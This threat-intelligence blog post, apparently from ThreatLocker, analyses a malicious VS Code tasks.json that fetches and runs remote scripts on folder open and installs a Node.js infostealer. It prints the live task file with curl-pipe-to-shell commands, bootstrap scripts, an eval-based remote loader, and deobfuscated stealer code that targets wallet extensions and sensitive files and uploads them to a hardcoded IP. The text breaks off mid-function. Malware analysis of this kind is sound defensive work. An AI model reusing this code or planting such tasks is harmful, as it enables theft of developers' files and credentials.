

Malicious VS Code tasks.json abuse enables multi-stage infostealer deployment

 threatlocker.com/blog/malicious-vs-code-tasks-json-abuse-enables-multi-stage-infostealer-deployment

February 2, 2026



Intro

ThreatLocker Threat Intelligence identified a VS Code (Visual Studio Code) project “tasks.json” file in the wild that demonstrates usage of an emerging method for arbitrary code execution through VS Code. When a project folder is opened and marked as trusted, VS Code will load the project “tasks.json” file, which is designed to contain supporting commands for build and post-build tasks.

However, a “tasks.json” file containing malicious commands could leverage VS Code to execute malicious actions. In this scenario, the malicious commands lead to the deployment of a feature-rich infostealer on an unsuspecting user’s machine.

Attack chain overview

From unknowingly trusting a malicious project folder to the final payload, the chain of compromise spans several steps riddled with obfuscation and anti-analysis. First, when a project folder is opened and trusted in VS Code, the “tasks.json” file reaches out to a malicious domain for further commands, piping the received commands to command prompt.

After installing the Node.js framework and other dependencies, “node.exe” uses the Axios library to receive the heavily obfuscated final payload. This payload then recursively scans specified directories for sensitive files, continuously captures the clipboard contents, and uploads everything to attacker-controlled infrastructure.

Initial Curl requests

As the presence of a “tasks.json” file within project folders is innocuous, a user may not suspect anything of the file, or they may assume it is required to successfully build or use the project code.

Although this feature has legitimate use cases for developers, automatic actions provide an avenue for threat actors to facilitate malicious command execution. The referenced file executes a single command depending on the OS detected.

For demonstration purposes, the OS type will be Windows. The command in question reaches out to the first domain:

```
“hxxps://vscode-load[.]onrender[.]com/settings/windows?flag=4”
```

The content of the request response is piped into command prompt, executing the next stage.

```
{
  "version": "1.0.0",
  "tasks": [
    {
      "label": "env",
      "type": "shell",
      "osx": {
        "command": "curl 'https://vscode-load.onrender.com/settings/mac?flag=4' | sh"
      },
      "linux": {
        "command": "wget -qO- 'https://vscode-load.onrender.com/settings/linux?flag=4' | sh"
      },
      "windows": {
        "command": "curl https://vscode-load.onrender.com/settings/windows?flag=4 | cmd"
      },
      "problemMatcher": [],
      "presentation": {
        "reveal": "never",
        "echo": false,
        "focus": false,
        "close": true,
        "panel": "dedicated",
        "showReuseMessage": false
      },
      "runOptions": {
        "runOn": "folderOpen"
      }
    }
  ],
}
```

Figure 1: Content of "tasks.json"

The additional commands received are not inherently malicious. First, the user profile folder is searched to identify if the ".vscode" directory exists, and in the event the directory is not present, it is created. Curl is subsequently executed to retrieve additional commands. The request response is once more saved to a local file.

"Curl -s -L -o "%VSCODE_DIR%\vscode-bootstrap.cmd" hxxp://vscode-load[.]onrender[.]com/settings/bootstrap?flag=4"

This newly created file "vscode-bootstrap.cmd" is executed on the next line.

```
@echo off
set "VSCODE_DIR=%USERPROFILE%\vscode"

if not exist "%VSCODE_DIR%" ( mkdir "%VSCODE_DIR%" )

curl -s -L -o "%VSCODE_DIR%\vscode-bootstrap.cmd" http://vscode-load.onrender.com/settings/bootstrap?flag=4
cls
"%VSCODE_DIR%\vscode-bootstrap.cmd"
cls
```

Figure 2: Initial Curl to vscode-load[.]onrender[.]com

This next set of commands ensures that several other dependencies are installed: the Node.js framework, Hardhat (a development environment for Ethereum), and Node.js packages "Axios", "FS", "request", and "clipboardy". If the Node.js framework is not found, the script halts with no

further action.

```
>curl --socks5 localhost:9050 -L http://vscode-load.onrender.com/settings/bootstrap?flag=4
@echo off
title Creating new Info
setlocal enabledelayedexpansion

if "%~1" neq "_restarted" powershell -WindowStyle Hidden -Command "Start-Process -FilePath cmd.exe -ArgumentList '/c \"%~f0\" _restarted' -WindowStyle Hidden" & exit /b

REM Get latest Node.js version using PowerShell
for /f "delims=" %v in ('powershell -Command "(Invoke-RestMethod https://nodejs.org/dist/index.json)[0].version"') do set "LATEST_VERSION=%v"

REM Remove leading "v"
set "NODE_VERSION=%LATEST_VERSION:~1%"
set "NODE_MSI=node-v%NODE_VERSION%-x64.msi"
set "DOWNLOAD_URL=https://nodejs.org/dist/v%NODE_VERSION%/v%NODE_MSI%"
set "EXTRACT_DIR=%~dp0nodejs"
set "PORTABLE_NODE=%EXTRACT_DIR%\PFiles64\nodejs\node.exe"
set "NODE_EXE="

:: -----
:: Check for global Node.js
:: -----
where node >nul 2>&1
if not errorlevel 1 (
    for /f "delims=" %v in ('node -v 2^>nul') do set "NODE_INSTALLED_VERSION=%v"
    set "NODE_EXE=node"
    echo [INFO] Node.js is already installed globally: %NODE_INSTALLED_VERSION%
)

if not defined NODE_EXE (
    if exist "%PORTABLE_NODE%" (
        echo [INFO] Portable Node.js found after extraction.
        set "NODE_EXE=%PORTABLE_NODE%"
        set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
    ) else ( echo [INFO] Node.js not found globally. Attempting to extract portable version...

:: -----
:: Download Node.js MSI if needed
:: -----
```

Figure 3: Curl to bootstrap commands

```
if exist "%~dp0%NODE_MSI%" (
    echo [INFO] Extracting Node.js MSI to %EXTRACT_DIR%...
    msixexec /a "%~dp0%NODE_MSI%" /qn TARGETDIR="%EXTRACT_DIR%"
    del "%~dp0%NODE_MSI%"
) else (
    echo [ERROR] Failed to download Node.js MSI.
    exit /b 1
)

if exist "%PORTABLE_NODE%" (
    echo [INFO] Portable Node.js found after extraction.
    set "NODE_EXE=%PORTABLE_NODE%"
    set "PATH=%EXTRACT_DIR%\PFiles64\nodejs;%PATH%"
) else (
    echo [ERROR] node.exe not found after extraction.
    exit /b 1
)
)
```

Figure 4: Node.exe not found

```

:: -----
:: Download required files
:: -----
set "CODEPROFILE=%USERPROFILE%\vscode"
echo [INFO] Downloading env-setup.npl and package.json...

curl -L -o "%CODEPROFILE%\env-setup.npl" "http://vscode-load.onrender.com/settings/env?flag=4"
curl -L -o "%CODEPROFILE%\package.json" "http://vscode-load.onrender.com/settings/package"
:: -----

```

Figure 5: Downloading required files

```

>curl --socks5 localhost:9050 -L http://vscode-load.onrender.com/settings/package
{
  "name": "env",
  "version": "1.0.0",
  "devDependencies": {
    "hardhat": "^2.20.2"
  },
  "dependencies": {
    "axios": "^1.10.0",
    "fs": "^0.0.1-security",
    "request": "^2.88.2",
    "clipboardy": "^4.0.0"
  },
  "scripts": {
    "test": "npx hardhat test",
    "deploy": "npx hardhat run scripts/deploy.js"
  }
}

```

Figure 6: Package dependencies

The previous set of commands reaches out to the following domain for an “NPL” file, which contains Node.js syntax that leverages the previously installed Axios Node library.

```

>curl --socks5 localhost:9050 -L http://vscode-load.onrender.com/settings/env?flag=4
const axios = require('axios');
const host = "ip-api-check-gold.vercel.app";
const apikey = "3aeb34a34";
axios
  .get(
    `https://ip-api-check-gold.vercel.app/icons/704`,
    { headers: { "bearrtoken": "logo" } },
  )
  .then((response) => {
    eval(response.data);
    return response.data;
  })
  .catch((err) => {
    return false;
  });

```

Figure 7: Axios request

Although all previous connections were made using Curl, the final payload can only be requested with the Axios library, regardless of user agent and header. Any requests made to this page without Axios return meaningless JSON data with the user’s IP address and geolocation data.

```

>curl --user-agent 'axios/1.13.3' --socks5 localhost:9050 --header 'bearrtoken: logo' https://ip-api-check-gold.vercel.app/icons/704
curl: (3) URL rejected: Bad hostname
{"ipInfo":{"status":"success","country":"Germany","countryCode":"DE","region":"BB","regionName":"Brandenburg","city":"Brandenburg","zip":"14621","lat":52.6171,"lon":13.1207,"timezone":"Europe/Berlin","isp":"Stiftung Erneuerbare Freiheit","org":"Artikel10 e.V","as":"AS60729 Stiftung Erneuerbare Freiheit","query":"185.220.101.9"}}

```

Figure 8: Failed Curl command

ThreatLocker Threat Intelligence was able to replicate this request by editing the original Axios request. Replacing the “eval” method with “console.log” outputs the response to the console window for analysis. This response contains the final payload.

```
const axios = require('axios');
const host = "ip-api-check-gold.vercel.app";
const apikey = "3aeb34a34";
axios
  .get(
    `https://ip-api-check-gold.vercel.app/icons/704`,
    { headers: { "bearerToken": "logo" } },
  )
  .then((response) => {
    console.log(response.data);
  })
  .catch((err) => {
    console.error(err);
  });
```

Figure 9: Edited Axios request

```
>node axios.npl | more
(function(u,l){const Dd={u:0xb0,1:0x1266,F:'\x45\x39\x5b\x21',x:0xc5f,J:0x16d7,w:0xd0a,j:0xd9a,K:0x219e,L:0xd28,h:'\x40\x76\x4c\x78',v:0xf2d,W:0x207f,I:0xcad,y:0x1c4,B:0x5223,G:0x5228,E:0x50c0,q:0x33e7,n:0x3594,Z:0x140d,c:'\x29\x4c\x6d\x6b',H:0xf8,z:0x2234,A:0x3c4,a:0x3509,d:0x1b15,o:0x3f4e,s:0x305f,m:0x3b70,T:0x22d5,N:0x2245,V:0x2095,DO:0x126e,Ds:0x1f47,Dm:0xa02,DT:0x218c,DN:0x1397,DV:0x2455,DQ:'\x7a\x36\x6c\x56',Di:0x1575,DM:0x1a50,DC:0x2726,Dk:0x783,DY:'\x34\x41\x4b\x21',Do:0x3ffa,DU:0x5320,DS:0x4ebe,Dp:0x6169,u0:'\x45\x39\x5b\x21',u1:0x3adf,u2:0x2d82,u3:0x22b4,u4:0x2971,u5:'\x4c\x53\x44\x42',u6:0x138,u7:0x1af2,u8:0x216a,u9:0x24,uP:0xd83;const Da={u:0x15b};const DA={u:0x223};const Dz={u:0x3b2};const De={u:0x3b1};const DH={u:0x141};const Dc={u:0x3d3};const DZ={u:0x230};const Dn={u:0xa2};const Dq={u:0x389};const DE={u:0x33f};const DG={u:0x398};const DB={u:0x385};function P4(u,l,F,x,j){return f(1-DB,u,x);function k(u,l,F,x,j){return D(u-0x1f,x,j);function P2(u,l,F,x,j){return D(J-DE,u,u);function o(u,l,F,x,j){return f(x-0x1f,x,j);function C(u,l,F,x,j){return S(u,l,F,x,j);function U(u,l,F,x,j){return D(J-0x1f,x,j);function P3(u,l,F,x,j){return D(J-0x1f,x,j);function F(u,l,F,x,j){return f(u-0x1f,x,j);function Y(u,l,F,x,j){return D(J-0x1f,x,j);function P1(u,l,F,x,j){return D(1-DA,u,F);function P0(u,l,F,x,j){return D(J-DA,u,l);while(![]){try{const x=parseInt(C(Dd,u,Dd,1,Dd,F,Dd,x,Dd,j))/(0x1*-0x36f+0x69b+0x32b*-0x1)*(-parseInt((Dd.w,Dd.j,Dd.k,-Dd.L,Dd.h))/(-0x1*-0x126+0x7f5+0x197a))+parseInt(U(Dd,Z,Dd,c,-Dd.H,Dd,z,Dd.A))/(-0x142*-0x10+-0x5*0x89+-0x116e)*(-parseInt(o(Dd,a,Dd,d,Dd,o,Dd,s,Dd,m))/(-0x1*-0x12a0+-0xa4*0x20+0xf3*0x2))+parseInt(p(Dd,T,Dd,N,Dd,V,Dd,DO,Dd,DS))/(0x2333*0x1+-0x1*0x9c3+-0x1969)*(-parseInt(k(Dd,Dm,Dd,DT,-Dd,DN,Dd,DV,Dd,DQ))/(-0x46f*-0x8+0x2f9*-0x5+-0x1493))+parseInt(k(Dd,Di,Dd,DM,Dd,DC,-Dd,Dk,Dd,DY))/(0x1*-0x4eb+0xb5*-0x2f+0x262f)+parseInt(k(Dd,Do,Dd,DU,Dd,DS,Dd,Dp,Dd,u0))/(0x1f47*0x1+-0x193*-0x1)+parseInt(k(Dd,u1,Dd,u2,Dd,u3,Dd,u4,Dd,u5))/(-0x2*-0x47b+0x20b9+0x104*-0x29)*(-parseInt(o(-Dd,u6,-Dd,u7,Dd,u8,-Dd,u9,Dd,uP))/(-0x48e+-0x35*-0x9d+-0x1be7));if(x===1){break;}else{F['push'](F['shift']());}}catch(J){F['push'](F['shift']());}}}(g,0x88fb*0x8+-0x1*-0x4227d+-0x534ea);function b5(u,l,F,x,j){const DO={u:0x3c5};return D(F--DO,u,l);function bM(u,l,F,x,j){const DS={u:0x1fb8,I:0x1a7c,y:0x1d11,B:0x4dc,G:0x1a59,E:0x2af7,q:0x3aed,n:0x1e96,Z:0x366,c:'\x4b\x74\x6c\x62',H:0x671,z:0xcfc,A:0x9de,a:0x14d2,d:'\x31\x56\x67\x79',O:0x36ca,s:0x400a,m:0x239e,T:0x427,W:0x1dce,V:0xc1c,un:0x6c6,uZ:0x6ec,uc:0x120d,uH:0x3a40,ue:0x1f26,uz:'\x79\x42\x79\x34',uA:0x1f10,uA:0x71e,ud:0x177c,uo:0x1823,us:'\x65\x5a\x50\x2a',um:0x2522,UT:0x1ae1,uM:0x1800,uV:0x36e5,uQ:0x1727,ui:0x1a4b,uM:0x2daa,uc:0x476f,uk:0x65f2,uY:0x3b06,uo:0x4338,uo:0x589e;const uE={u:0x5777,l:0x3c47,F:0x272e,x:'\x7a\x62\x74\x4d',J:0x462f,w:0x363f,j:0x1142,K:0xc49,L:0x17db,h:0x2d35,v:0x2a5e,W:0x37d4,I:0x4031,y:'\x56\x30\x6c\x52',B:0x52b2,G:0x41a5,E:0x4e72,q:0x2d40,n:0x5482,Z:0x3c3a,c:0x305f,H:0x1477,z:0x29e5,A:0x2a54,a:0x17d1,d:0x284b,O:0x2422,s:0x27d1,m:'\x29\x4c\x6d\x6b',T:0x1e3c,N:0x300,V:0x163d,uq:0x17a,un:0x978,uz:0xf99,uC:0x336,uH:0x17ac,ue:0xdbe,uz:0x2759,uA:'\x78\x65\x38\x30',ua:0x22dd,ud:0xa96,uO:0x253f,us:0x16a4,um:'\x4b\x74\x6c\x62',uT:0x1327,uN:0x1580,uV:0xa89,uo:0x774,uI:0x174f,uM:0x39d9,uC:0x1f67,uk:0x3e74,uY:'\x6b\x77\x62\x6b',uo:0x2ef3,uO:0x21ba,uS:0xc4d,up:0x2574,l0:'\x44\x24\x50\x6e',l1:0x526,l2:0x3272,l3:0x47e8,l4:'\x52\x58\x44\x41',l5:0x5873,l6:0x405e,l7:0x3110,l8:0x3b3c,l9:0x47cc,lP:0x3278,lR:'\x40\x76\x4c\x78',lB:0xad1,lX:0xf07,lG:0x1838,lF:0x14d7,lD:0xc2,lU:0x5ecc,lI:0x4a33,lF:0x40b6,lX:0x46a5,lJ:0x4b13,lT:0x2790,lW:'\x74\x76\x61\x66',lJ:0x15d1,lK:0x1201,lL:0x0998,lH:0x2835,lV:0x22a,lR:0x1f20,lW:0x1ed0,lI:'\x70\x28\x79\x25',lY:0x3692,lB:0x34ae,lG:0x2719,lE:0x3108,lQ:0x2d6b,lN:0x10dd,lZ:0x1c03,lC:0x18a6,lH:0x122e,lE:'\x79\x2a\x41\x26',lZ:0x19a,lA:0x8d5,lA:0xdbe,lD:0x203b,lO:0xbff,lS:0xd00,lM:0x1a5,lT:0xc1c,lN:0x203f,lV:0x1377,lQ:0x2c50,lI:'\x46\x5e\x49\x54',lM:0x3a70,lC:0x274b,lK:0x26f7,lV:0x352b,lO:0x397a,lU:'\x29\x4c\x6d\x6b',lS:0x30dc,lP:0x3e77,F0:0x3e30,F1:0x3817,F2:'\x24\x71\x70\x77',F3:0x4ec3,F4:0x463f,F5:0x3943,F6:0x4d8d,F7:0x1d6a,F8:0x26f6,F9:0x2e3c,FP:0x28f3,FR:'\x6b\x4e\x6a\x67',Fb:0x1126,FX:0x1a10,Fg:0x1a10,Fg:0x413a,FD:'\x23\x62\x57\x46',Fu:0x3762,F1:0x400f,FF:0x171a,Fx:0xf2b,FJ:0x1a32,FT:0x1d86,Fw:0x27a1,Fj:0x24b6,FK:0x10ef,FL:0xe1c,Fh:0xd64,Fv:0x12d0,Fr:0xc0c,FW:0x117b,Fi:0xa2f,Fy:0x31a,FB:'\x63\x54\x75\x53',FG:0x213b,FE:0xfbf,Fq:0x1c11,Fn:0x288d,FZ:0x4068,FC:0x3079,FH:0x27cf,Fe:0x8fd,Fz:0x623,FA:0x6fd,fa:'\x67\x67\x4c\x6c',Fd:0x1003,FO:0x822,Fs:0x1ef4,Fm:0x117c,FT:0x102c,FN:0x2c77,FV:0x412a,FQ:0x372a,Fi:0x22b1,FM:0x2aaf,FC:0x4190,FK:0x476b,FY:0x26af,Fo:0x3dc6,FU:0x549b,FS:0x49d8,Fp:0x49a9,x0:0x4f81,x1:0x3309,x2:0x3e12,x3:0x264c,x4:0x4ab,x5:0x2e36,x6:0xde8,x7:'\x39\x29\x4a\x75',x8:0x716,x9:'\x55\x51\x67\x25',xP:0x44f,xR:0x955,xS:0x1477,xX:0x2e88,xg:0x6ef,xf:0x27e5,xO:0xf0c,xu:0x2233,x1:0x41d1,xF:0x430c,xx:0x1a19,xJ:0x2077,xt:0x44,xw:'\x39\x29\x4a\x75',xJ:0x1210,xK:0x67e,xL:0x1151,xh:0x2a0d,xv:0x16e0,xr:0x171c,xW:0x17ae,xI:0x1040,xy:0x32d5,xB:0x3500,xG:0x252f,xE:0x2c6f,xx:0x1b37,xn:0xe87,xZ:0xf6b,xC:0xad,xH:0x1b18,xe:0x2a15,xz:0x497c,xA:0x4647,xa:0x671d,xd:0x251c,x0:0x3cfa,xs:0xa64,xm:0xc36,xt:0x136,xN:0x1bd1,xV:0xa09,xQ:0x15c9,xi:0x1f41,xM:0x645,xC:0xb,xK:0x1061,xY:0x129d,xo:0x40a6,xU:0x4dd0,xS:0x3048,xp:0x1282,xO:0x284,j1:0x2469,j2:0xb65,j3:0x1e11,j4:0x40cf,j5:'\x38\x43\x23\x76',j6:0x386d,j7:0x1d48,j8:0x3a69,j9:0x1105,jP:0x3a28,jR:0x19f8,jb:0x2d75,jX:0x2c29,jg:0x3798,jf:0x51bd,jD:0x1a8d,jU:0x580d,jI:0x2f93,jF:0x66b,jX:0xd61,jJ:0xf5,jT:0x143,jw:0x218c,jJ:0x436a,jK:0x1e3f,jL:0x4a14,jh:0x407f,jv:0x169f,jr:0xcd1,jW:0x322e,jI:0x559,jY:0x1064,jB:0x17b6,jG:0x238d,jE:0x2281,jq:'\x38\x43\x23\x76',jn:0x3102,jT:0x25c8,jZ:0x28b5,jH:0x35b,jE:0x1b27,jA:0x2734,jA:0x2734,jA:0xbfd,jT:0x1821,jO:0x39b5,jS:0x1168,jm:0x895,jT:0xe7f,jN:0x144f,jY:0x2113,jO:0x1c5b,jI:0x2aad,jM:0x8f69,jK:0x15c0,jL:'\x6d\x77\x6c\x44',jY:0x454b,jO:0x3c55,jU:0x56d5,jS:0x33a8,jp:0x5143,t0:0xf41,t1:0x5e2,t2:0x1ff2,t3:0x28d,t4:0x1922,t5:0x46c6,t6:0x3810,t7:0x35a8,t8:0x360e,t9:0x2ac7,tP:0x16b6,tR:0x1532,tb:
```

Figure 10: Successful Axios request

Core payload

Several JavaScript-specific tactics are used to obfuscate the contents of the last payload. Once deobfuscated, the capabilities of this crude infostealer can be analyzed. Threat Intelligence has inserted several comments for clarity. One of the first actions executed is to define the final endpoint where captured data is sent:

hxxp://144[.]172[.]116[.]80:8085/upload

```
try {
  const os = require("os");
  const fs = require("fs");
  const path = require("path");
  const { execSync, spawn } = require("child_process");

  process.on("uncaughtException", (u) => {}); // on error, throw the error away
  process.on("unhandledRejection", (u) => {}); // on error, throw the error away

  const u_s = "http://144.172.116.80:8086/upload";
  const l_s = "http://144.172.116.80:8085/upload";
  const s_s = "http://144.172.116.80:8087";

  const u_k = 704;
  const t = 7;

  const Utils = {
    gsi: () => ({
      host: os.hostname(),
      os: os.type() + " " + os.release(),
      username: os.userInfo().username || "unknown",
    }),
  },
```

Figure 11: Endpoint declaration

Next, the hostname, OS type, and local users are enumerated. An additional check is performed to identify if the payload is executing under a WSL environment.

```
is_wsl: () => { // WSL env check
  if (process.env.WSL_DISTRO_NAME) {
    return true;
  }

  try {
    if (fs.existsSync("/proc/version")) {
      const F = fs.readFileSync("/proc/version", "utf8");
      if (
        F.toLowerCase().includes("microsoft") ||
        F.toLowerCase().includes("wsl")
      ) {
        return true;
      }
    }
  } catch (w) {} // on error, throw the error away

  return false;
},
```

Figure 12: WSL check

```

get_wu: () => { // capture usernames
  try {
    const l = execSync("cmd.exe /c echo %USERNAME%", {
      encoding: "utf8",
    }).trim();

    if (l && l.length > 0 && !l.includes("%USERNAME%")) {
      return l;
    }
  } catch (j) {} // on error, throw the error away

  try {
    if (fs.existsSync("/mnt/c/Users")) { // if WSL Users path exists...
      const K = fs.readdirSync("/mnt/c/Users", { // Read WSL Users path
        withFileTypes: true,
      });

      const L = [ // excluded usernames
        "Public",
        "Default",
        "All Users",
        "Default User",
      ];

      for (const h of K) { // Return each username that is not excluded
        if (h.isDirectory() && !L.includes(h.name)) {
          return h.name;
        }
      }
    }
  } catch (y) {} // on error, throw the error away

  return process.env.USERNAME || process.env.USER || null; // return available usernames, or nothing
},

```

Figure 13: Capture current and local usernames

The “sp_s” function restarts any specified processes that have gone “stale” (running for more than 24 hours). “sp_s” then combines the “spawn” Node method with the arguments “process.execPath” (the current process, node.exe) and “-”, accepting further arguments from the pipeline. “stdin.end(u)” then presents the main argument to node.exe to continue execution. This function will later be called exclusively to run embedded scripts within this payload.

```

sp_s: (u, l, F, x) => { // sp_s is a function that expects variables u, l, F, x
  // u = javascript payload given to new node.exe execution
  // l = file within temp used to track specified process data
  // F = familiar name of running process or binary for logging
  // x = logger function
  const w = path.join(os.tmpdir(), l);
  let j = true; // 'OK to continue' flag

  if (fs.existsSync(w)) { // if specified tracker file exists (%tmp% + l)...
    try {
      const L = JSON.parse(fs.readFileSync(w, "utf8")); // Parse the contents of tracker file
      const h = L.pid;
      const v = L.startedAt;
      const W = Date.now() - 86400000; // W = 24 hours ago

      if (v && v < W) { // if tracker file states that the specified process started more than 24 hours ago
        try {
          process.kill(h, "SIGTERM"); // Kill it ("stale" process)
          x(
            "Killing stale " +
            F +
            " process (PID: " +
            h +
            ", started: " +
            new Date(v).toISOString() +
            ")",
            "info"
          );
        } catch (B) {} // On error, throw the error away

        fs.unlinkSync(w); // Delete tracker file
        j = true;
      } else { // if process.kill(h, "SIGTERM") didnt work, try a more direct way
        try {
          process.kill(h, 0);
          j = false;
        } catch (E) { // if that also didnt work, just delete the tracker file and continue
          fs.unlinkSync(w);
          j = true;
        }
      }
    } catch (c) {
      try {
        fs.unlinkSync(w);
      } catch (z) {} // On error, throw the error away
      j = true;
    }
  }
}

```

Figure 14: Kill stale processes

```

if (j) {
  x("Spawning " + F, "info");

  try {
    const O = spawn( // spawn a new node.exe process with a piped input
      process.execPath,
      [
        "--max-old-space-size=4096",
        "--no-warnings",
        "-",
      ],
      {
        windowsHide: true,
        detached: true,
        stdio: ["pipe", "ignore", "ignore"],
      }
    );

    O.stdin.end(u); // determines u to be the payload given to new node.exe process
    O.unref();

    const s = {
      pid: O.pid,
      startedAt: Date.now(),
    };

    fs.writeFileSync(w, JSON.stringify(s), "utf8"); // write new node.exe info to tracker file

    const m = () => { // m is defined to delete the tracking temp file, but not invoked
      try {
        if (fs.existsSync(w)) {
          fs.unlinkSync(w);
        }
      } catch (V) {} // On error, throw the error away
    };

    O.on("exit", m); // On exit, error, or close, delete the tracking temp file.
    O.on("error", m);
    O.on("close", m);
  } catch (T) { // on error, log it using logger function x
    x(
      "Failed to spawn " + F + ": " + T.message
    );
  }
} else {
  x(F + " is already running, skipping", "info");
}

```

Figure 15: Node.exe execution

Interestingly, a series of Google Chrome/Chromium extensions for crypto wallets are defined in a list, named “wps”, but they are never mentioned after their definition. This may allude to future versions of this attack targeting crypto wallets and their seed phrases.

```
const wps = [
  "nkbihfbeogaeaoehlefnkodbefgpgknn", // MetaMask Chrome Extension
  "ejbalbakoplchlghecdalmeeeajnimhm", // MetaMask Edge Extension
  "acmacodkjbdgmoleebolmdjonilkbch", // Rabby Wallet Chrome Extension
  "bfnaelmomeimhlpmgjnjophhpkkoljpa", // Phantom Wallet Chrome Extension
  "ibnejdfjmmkpcnlpebklmkoehiofec", // TronLink Chrome Extension
  "egjidjbpglichdcondcbdbnbeppgdp", // Trust Wallet Chrome Extension
  "nphplpgoakhhjchkhmiggakijnkhfnd", // TON Wallet Chrome Extension
  "omaabbefbmiijedngplfjmnooppbclkk", // Tonkeeper Wallet Chrome Extension
  "bhhhlbepdkbapadjdnnojkbgioidbic", // Solflare Wallet Chrome Extension
  "aeachknmefphecpcionboohckonoemg", // Coin98 Wallet Chrome Extension
  "afkmhkiijdbfcmhplgifokgdeclgpoi", // Unknown Extension
  "agoakfejjabomempkjlepdlaleeobhb", // Core Wallet Chrome Extension
  "aholpfdialjgjfhomihkjbmgiidldno", // Exodus Web3 Wallet Chrome Extension
  "afbcbjpbpfadlkmhmclhkeodmamcflc", // MathWallet Chrome Extension
  "cgbogmdefihhljhfeffkljbghamglni", // Unknown Extension
  "dmkamcknogkgcdfhbddcgachkejeap", // Keplr Wallet Chrome Extension
  "dlcobpjiigpikoobohmabehhmhfoodbb", // Ready Wallet (Formerly Argent) Chrome Extension
  "efbglgofoippbgcjepnhiblaibcncglg", // Martian Aptos & Sui Wallet Chrome Extension
  "ejjladinnckdgjemekebdpeokbikhfci", // Petra Aptos Wallet Chrome Extension
  "fhbohimaelfbohpjbbldcngcnapndodjp", // Binance Wallet Chrome Extension
  "fhkbkphfeanlhnffkpologfoccekhic", // Unknown Extension
  "fhmfendgdocmcbmfikdcogofphimnkno", // Sollet Wallet
  "fldfpigpfcgndfolcbkdeeknbhbnhcc", // MyTonWallet Chrome Extension
  "gjnckgkfmigmibbkoficdidcljeaaaheg", // Atomic Wallet Chrome Extension
  "hifaigmccdpekplomjjkfcgodnhcellj", // Crypto.com Chrome Extension
  "hmeobnfnfcmkdcmblbgagmfpfboieaf", // Ctrl(XDEFI) Wallet Chrome Extension
  "hnfanknocfeofbddciijnmhnfnkdnaad", // Coinbase Wallet Chrome Extension
  "jiidiaalihmmhddjgbnbdflelecpak", // Bitget Wallet Chrome Extension
  "jblndlpeogpafnlhdhmapagcccchpi", // Kaia Wallet Chrome Extension
  "jmbkjchcobfffnmjboflnchcbljiljdk", // Unknown Extension
  "jnjpmcgfcfeffkfgcnjefkbkgcpnkab", // Unknown Extension
  "kpkmbkoifcfcpapmleipncofdbjdpc", // Unknown Extension
  "khpkpbbccddmclmpigdgddabeilkdpd", // Sui Wallet Chrome Extension
  "ldinpeekobnhjjdofggfgjlcehmanaj", // Unknown Extension
  "lgmpcpglpngdoalbeoldeajfclnhafa", // SafePal Wallet Chrome Extension
  "mcohilncbfahbmgdjkbpemcciolgcge", // OKX Wallet Chrome Extension
  "mopnmbcafieddcagagdcbnhejhlofd", // Unknown Extension
  "nkklfkfpelghbidbnpdfhblphpfjmbo", // Unknown Extension
  "penjlddjkgpnkllboccdgccepkcbin", // OpenMask - TON wallet Chrome Extension
  "ppbibelpcmhbdihakflkdcoccbgkpo" // UniSat Wallet Chrome Extension
];
```

Figure 16: Hardcoded crypto wallet extensions

Before defining the primary embedded scripts, a logger function named “f_s_l” is declared, which uses a hardcoded HMAC secret to encrypt a message and the Axios library to send this message to the following endpoint:

[http://144\[.\]172\[.\]116\[.\]80:8087/api/log](http://144[.]172[.]116[.]80:8087/api/log)

This logger function is also utilized to exfiltrate captured data from infected machines to attacker infrastructure.

```

async function f_s_l(u, l = "info", F = {}) { // u is log message, F is a new empty object
  const J = s_s + "/api/log"; // logging API endpoint
  const w = Utils.gsi();

  try { // try to send a hashed log message to logging api endpoint
    if (!u) {
      throw new Error("Log message is required");
    }

    const j = u.substring(0, 100); // First 100 chars of log message
    const K = "SuperStr0ngSecret@^"; // Hardcoded HMAC secret
    const L = crypto
      .createHmac("sha256", K)
      .update(j)
      .digest("hex");

    const h = {
      ukey: u_k,
      t: t,
      host: u_k + "_" + w.host,
      os: w.os,
      username: w.username,
      message: u,
      level: l,
      data: F,
    };

    const v = await axios.post(J, h, { // Create a POST message to "http://144.172.116.80:8087/api/log"
      headers: {
        "Content-Type": "application/json",
        validation: L,
      },
      timeout: 10000,
    });

    if (v.data.success) {
      return v.data;
    } else {
      throw new Error(
        v.data.error || "Failed to send log"
      );
    }
  } catch (G) { // On error, throw the error away
    if (G.response) {
    } else if (G.request) {
    } else {
    }
  }
}

```

Figure 17: "f_s_l" logger function

Embedded scripts

In the first embedded script, it is worth noting the LDB database and API are specifically targeted with a single line command: "node.exe ldb". Calling "ldb" serves to initialize the database and allow for files to be captured that may not have been available without initialization.

```

const platform = process.platform;
try {
  Uutils.sp_s(
    1, // run 'node.exe ldb' (initialize database)
    'pid.' + t + '.1.lock', // tracker filename
    'ldbScript', // familiar name for logging
    f_s_1 // logger function
  );
} catch (J) {} // On error, throw the error away

```

Figure 18: LDB initialization

AutoUpload

The next embedded script, “autoUpload”, is much longer and defines both excluded and “sensitive” file extensions before executing its main logic.

```

const EXCLUDED_FILE_EXTENSIONS = [
  ".exe", ".dll", ".so", ".dylib", ".bin", ".app", ".deb", ".rpm",
  ".pkg", ".dmg", ".msi", ".appimage", ".lnk", ".alias", ".desktop",
  ".mp4", ".mp3", ".avi", ".mov", ".wmv", ".flv", ".mkv", ".webm",
  ".wma", ".wav", ".flac", ".aac", ".ogg", ".m4a", ".gif", ".tiff",
  ".svg", ".ico", ".heif", ".tmp", ".temp", ".swp", ".swf",
  ".jar", ".war", ".ear"
];

const EXCLUDED_PATH_PATTERNS = [
  ".vscode", ".idea", ".git", ".cache", "node_modules",
  "program files", "windows", "system", "tmp", "temp"
];

const SENSITIVE_FILE_PATTERNS = [
  "wallet", "crypto", "private", "seed", "mnemonic",
  "password", "credential", "auth", "token",
  ".env", ".pem", ".key", ".json", ".txt", ".doc", ".pdf"
];

```

Figure 19: AutoUpload file specification

The “uploadFile” function first checks if the file is valid, is below the maximum size specified, and has read permissions before creating a new “form” and opening a file stream with the “createReadStream” method. This function then uses a hardcoded HMAC validation secret to encrypt the file data and send it with Axios to the following endpoint:

hxxp://144[.]172[.]116[.]80:8086/upload

Once this file is uploaded, the file stream is destroyed to allow for a new file to be uploaded. The “uploadFile” function is defined but not yet invoked.

```

const uploadFile = async (filePath) => {
  if (!fs.existsSync(filePath)) return false;

  let stats;
  try {
    stats = fs.statSync(filePath);
  } catch {
    return false;
  }

  if (!stats.isFile() || stats.size > MAX_FILE_SIZE_BYTES) {
    return false; // if path specified is not a valid file, do not upload.
  }

  try {
    fs.accessSync(filePath, fs.constants.R_OK); // make sure 'Read' actions are allowed
  } catch {
